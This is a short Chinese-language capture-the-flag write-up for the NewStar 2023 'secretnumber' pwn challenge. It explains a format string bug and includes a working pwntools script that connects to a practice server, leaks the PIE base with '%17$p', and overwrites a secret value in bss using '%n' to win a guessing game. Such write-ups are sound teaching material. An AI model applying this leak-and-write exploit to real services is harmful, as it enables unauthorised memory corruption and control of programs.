newstar2023 week2 - secretnumber

RocketDev

文件分析

下载secretnumber, 保护全开
ghidra分析为64位程序

解题思路

输入1后可以触发格式化字符串漏洞,由于secret数字放在bss上,所以可以先获得地址, 在写入小数字覆盖,然后输入非1数字进入猜数字环节,输入覆盖的数字即可

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
sh = remote('node4.buuoj.cn', 29392)

# payload 1
sh.sendline(b'1')
sh.sendlineafter(b'it', b'%17$p') # locate main to get pieBase

sh.recvuntil(b'gift:\n')
pieBase = int(sh.recvline()[:14], 16) - 0x12f5
secretAddr = pieBase + 0x404c

sh.sendline(b'1')
sh.sendlineafter(b'it', b'pad_%9$n' + p64(secretAddr)) # arg8: pad_%9$n, arg9: secretAddr

sh.sendlineafter(b'/1)', b'0')
sh.sendlineafter(b'number', b'4')
sh.interactive()

Done.

  • 标题: newstar2023 week2 - secretnumber
  • 作者: RocketDev
  • 创建于 : 2023-10-03 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/10/03/W2_secretnumber/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
newstar2023 week2 - secretnumber